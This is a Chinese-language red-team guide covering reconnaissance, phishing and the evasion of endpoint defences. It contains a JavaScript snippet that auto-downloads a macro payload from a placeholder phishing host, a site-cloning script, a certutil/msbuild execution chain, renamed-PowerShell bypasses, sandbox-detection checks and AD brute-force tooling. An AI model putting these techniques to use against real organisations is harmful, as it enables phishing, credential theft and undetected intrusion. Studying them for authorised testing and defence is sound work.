一次红队之旅
字数 2215 2025-08-29 08:32:18

红队渗透测试全面指南

1. 红队测试的意义与目标

红队测试是一种模拟真实攻击的安全评估方法,主要目标包括:

  • 评估客户对威胁行为的反应能力:测试安全团队检测和响应攻击的能力
  • 评估客户网络安全态势:通过模拟访问敏感数据(如CEO邮箱、客户数据)来验证防护措施
  • 演示潜在攻击路径:展示攻击者可能利用的漏洞和入侵路径

2. 目标识别与信息收集

2.1 初始信息收集

  • 社交媒体分析:通过Facebook等平台获取员工姓名信息
  • 公开密码库搜索:检查Github、Pastebin等平台是否有泄露的凭证
  • OWA/Office 365侦察:这些服务通常是高价值目标

2.2 OWA侦察技术

  • GAL泄露检查https://your.target/owa/service.svc?action=GetPeopleFilters
  • 无MFA时的暴力破解https://your.target/EWS/Exchange.asmx
  • Office 365 API端点
    • 读写邮件:https://outlook.office365.com/api/v1.0/
    • 暴力破解:https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml

2.3 Shodan利用

通过Shodan搜索目标公共IP范围内的关键服务:

  • Citrix门户
  • OWA服务
  • VPN端点
  • 任何可远程认证的服务

2.4 邮件服务器指纹识别

发送邮件到不存在的账户,分析返回的错误信息以识别:

  • 使用的安全软件
  • 配置的安全策略

2.5 社交工程信息收集

  • 通过LinkedIn等平台收集员工信息
  • 分析企业网站寻找钓鱼主题灵感

3. 钓鱼攻击最佳实践

3.1 钓鱼攻击黄金法则

  1. 不要将恶意负载直接放入邮件
  2. 避免自动化安全解决方案检测
  3. 使用分类域名
  4. 强制使用HTTPS
  5. 选择无聊的钓鱼主题
  6. 避免使用拼写错误的域名
  7. 不要重复使用相同域名

3.2 高级钓鱼技术

  • 动态URL生成:使用Apache mod_rewrite创建唯一ID的URL

    RewriteEngine On
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule ^(.*)$ index.php [L,QSA]
    
  • JavaScript混淆技术

    <a id="download" href="#">下载行为准则</a>
    <script>
      document.getElementById("download").onclick = function() {
        document.location = "https://phish" + "y.domain/pay" + "load.docm";
      };
      document.getElementById("download").click();
    </script>
    
  • 域名克隆工具

    #!/bin/bash
    echo "Cloning $1"
    wget $1 -O index.html &> /dev/null
    TAG="<base href=\"$1\"/></head>"
    sed '/<\/head>/i\'"$TAG" index.html | tee index.html &> /dev/null
    echo "index.html was saved and modified"
    
  • 分类域名搜索工具CatMyFish

4. 有效负载创建与规避

4.1 规避检测的核心原则

  1. 避免直接运行PowerShell

    • 使用PowerLessShell通过MsBuild.exe执行
    • 示例:
      certutil -decodehex vpmMLfdAbV dWCBVaaSqezNvPbCKpFyJiwG && copy msbuild.exe QrjZkfusnfnbvOoGuqq.exe && QrjZkfusnfnbvOoGuqq.exe dWCBVaaSqezNvPbCKpFyJiwG && del QrjZkfusnfnbvOoGuqq.exe && del dWCBVaaSqezNvPbCKpFyJiwG && del vpmMLfdAbV
      
  2. 宏攻击规避

  3. 二进制文件修改

    • 修改签名二进制文件的HASH(Windows-SignedBinary)
    • 重命名二进制文件执行:
      copy powershell.exe tLclgEomOrR.exe
      tLclgEomOrR.exe -exec bypass Get-Help
      
  4. 环境检测

  5. 负载混淆工具

4.2 沙箱检测技术

检测端点与沙箱的区别:

  • 内存大小(端点≥4GB)
  • 磁盘大小(端点≥250GB)
  • CPU数量(端点≥2)
  • 运行进程(如OUTLOOK.exe)
  • 网络访问状态
  • 域加入状态
  • 时区设置
  • 系统运行时间
  • 系统活动(剪贴板内容等)

5. 命令与控制(C2)隐蔽技术

  • 域前置技术(Domain Fronting)
  • 使用分类域名
  • 强制HTTPS连接
  • 协议选择:HTTP混入合法流量
  • 高级C2工具ThunderShell

6. 内网横向移动与权限提升

6.1 初始信息收集

  • 避免直接运行PowerShell
  • 避免使用net*命令
  • 避免连接所有系统

6.2 实用脚本

  1. 用户邮箱收集

  2. 域密码暴力破解

  3. 用户SamAccountName查找

  4. 用户登录事件搜索

  5. 浏览器书签收集

6.3 高级技巧

  • WMI远程执行

  • Kerberos票据利用

    • 注意票据续约问题
    • 进程注入选择(explorer.exe vs svchost.exe/conhost.exe)
  • Active Directory信息挖掘

    • 用户注释和描述字段可能包含敏感信息
    • Dump-Username

6.4 PowerView实用命令

  • Find-LocalAdminAccess:查找具有本地管理员权限的主机
  • Get-NetDomainTrust:列出所有信任域
  • Get-NetForestTrust:列出所有森林
  • Invoke-ShareFinder:列出所有共享
  • Get-NetLocalGroup:列出本地管理组/用户组

7. 总结与最佳实践

  1. 钓鱼攻击

    • 每次活动使用不同的策略
    • 负载制作是一门需要精心策划的艺术
  2. 规避检测

    • 尽量避免直接运行PowerShell
    • 使用非标准技术执行命令
  3. 隐蔽性

    • 根据情况调整工具和技术
    • 平衡隐蔽性与任务需求

8. 参考资源

红队渗透测试全面指南 1. 红队测试的意义与目标 红队测试是一种模拟真实攻击的安全评估方法,主要目标包括: 评估客户对威胁行为的反应能力 :测试安全团队检测和响应攻击的能力 评估客户网络安全态势 :通过模拟访问敏感数据(如CEO邮箱、客户数据)来验证防护措施 演示潜在攻击路径 :展示攻击者可能利用的漏洞和入侵路径 2. 目标识别与信息收集 2.1 初始信息收集 社交媒体分析 :通过Facebook等平台获取员工姓名信息 公开密码库搜索 :检查Github、Pastebin等平台是否有泄露的凭证 OWA/Office 365侦察 :这些服务通常是高价值目标 2.2 OWA侦察技术 GAL泄露检查 : https://your.target/owa/service.svc?action=GetPeopleFilters 无MFA时的暴力破解 : https://your.target/EWS/Exchange.asmx Office 365 API端点 : 读写邮件: https://outlook.office365.com/api/v1.0/ 暴力破解: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml 2.3 Shodan利用 通过Shodan搜索目标公共IP范围内的关键服务: Citrix门户 OWA服务 VPN端点 任何可远程认证的服务 2.4 邮件服务器指纹识别 发送邮件到不存在的账户,分析返回的错误信息以识别: 使用的安全软件 配置的安全策略 2.5 社交工程信息收集 通过LinkedIn等平台收集员工信息 分析企业网站寻找钓鱼主题灵感 3. 钓鱼攻击最佳实践 3.1 钓鱼攻击黄金法则 不要将恶意负载直接放入邮件 避免自动化安全解决方案检测 使用分类域名 强制使用HTTPS 选择无聊的钓鱼主题 避免使用拼写错误的域名 不要重复使用相同域名 3.2 高级钓鱼技术 动态URL生成 :使用Apache mod_ rewrite创建唯一ID的URL JavaScript混淆技术 : 域名克隆工具 : 分类域名搜索工具 : CatMyFish 4. 有效负载创建与规避 4.1 规避检测的核心原则 避免直接运行PowerShell : 使用 PowerLessShell 通过MsBuild.exe执行 示例: 宏攻击规避 : 避免使用WScript.Shell和Shell() 使用WMI执行负载( MaliciousMacroGenerator ) 二进制文件修改 : 修改签名二进制文件的HASH( Windows-SignedBinary ) 重命名二进制文件执行: 环境检测 : 添加沙箱检测代码(如检查iexplore进程) ClickOnceGenerator 负载混淆工具 : SCT-obfuscator UniByAv DKMC Base64-Obfuscator 4.2 沙箱检测技术 检测端点与沙箱的区别: 内存大小(端点≥4GB) 磁盘大小(端点≥250GB) CPU数量(端点≥2) 运行进程(如OUTLOOK.exe) 网络访问状态 域加入状态 时区设置 系统运行时间 系统活动(剪贴板内容等) 5. 命令与控制(C2)隐蔽技术 域前置技术 (Domain Fronting) 使用分类域名 强制HTTPS连接 协议选择 :HTTP混入合法流量 高级C2工具 : ThunderShell 6. 内网横向移动与权限提升 6.1 初始信息收集 避免直接运行PowerShell 避免使用net* 命令 避免连接所有系统 6.2 实用脚本 用户邮箱收集 : Dump-UserEmail 域密码暴力破解 : Invoke-ADPasswordBruteForce 示例: 用户SamAccountName查找 : Search-FullNameToSamAccount 用户登录事件搜索 : Search-EventForUser 浏览器书签收集 : Get-IEBookmarks 6.3 高级技巧 WMI远程执行 : Remote-WmiExecute Kerberos票据利用 : 注意票据续约问题 进程注入选择(explorer.exe vs svchost.exe/conhost.exe) Active Directory信息挖掘 : 用户注释和描述字段可能包含敏感信息 Dump-Username 6.4 PowerView实用命令 Find-LocalAdminAccess :查找具有本地管理员权限的主机 Get-NetDomainTrust :列出所有信任域 Get-NetForestTrust :列出所有森林 Invoke-ShareFinder :列出所有共享 Get-NetLocalGroup :列出本地管理组/用户组 7. 总结与最佳实践 钓鱼攻击 : 每次活动使用不同的策略 负载制作是一门需要精心策划的艺术 规避检测 : 尽量避免直接运行PowerShell 使用非标准技术执行命令 隐蔽性 : 根据情况调整工具和技术 平衡隐蔽性与任务需求 8. 参考资源 A-Journey-Into-a-RedTeam-2018.pdf 文中提到的所有GitHub项目